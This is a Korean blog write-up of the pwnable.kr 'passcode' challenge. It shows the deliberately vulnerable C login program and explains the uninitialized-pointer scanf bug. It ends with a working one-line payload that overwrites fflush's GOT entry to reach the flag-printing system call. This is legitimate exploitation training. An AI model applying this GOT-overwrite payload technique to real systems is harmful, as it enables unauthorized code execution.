#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
코드를 순서대로 살펴보면 메인함수에서 welcome 함수로 들어가서 scanf로 100개의 문자열을 입력받습니다. 다음으로 login 함수로 들어가서 passcode1을 입력받는데 앞에 &기호가 없기 때문에 취약점이 됩니다. 다음으로 fflush 함수를 호출하지만 리눅스에서는 fflush 함수를 호출하면 오류가 발생합니다. 따라서 앞에서 fflush 함수를 적절하게 변경해야 합니다. gdb에서 각 변수의 위치를 살펴보면 아래와 같습니다.
name = ebp - 112
passcode1 = ebp - 16
passcode2 = ebp - 12
name 과 passcode1 차이가 96이기 때문에 4바이트가 겹칩니다. 그리고 passcode에 주소값을 주입하면 scanf에서 해당 주소값에 입력값을 입력하므로 문제 풀이 설계는 다음과 같습니다.
name 변수에 96개의 쓰레기값을 넣고 남은 4바이트에 fflush의 got를 입력합니다. 그리고 입력값에 system("bin/cat flag") 함수 주소값을 대입하면 fflush의 got는 system함수로 변경되고 fflush 대신 system 함수를 실행하게되고 쉘을 획득할 수 있습니다.
fflush의 got는 0x0804a004
system 함수의 시작 주소는 0x080485e3으로 정수로 변환하면 134514147
(python -c 'print "D"*96 + "\x04\xa0\x04\x08"+"134514147"') | ./passcode
'시스템 해킹 > pwnable.kr' 카테고리의 다른 글
[Pwnable.kr] input (0) | 2021.07.27 |
---|---|
[Pwnable.kr] random (0) | 2021.07.27 |
[Pwnable.kr] cmd1 (0) | 2021.04.21 |
[Pwnable.kr] mistake (0) | 2021.04.21 |
[Pwnable.kr] flag (0) | 2021.04.19 |
댓글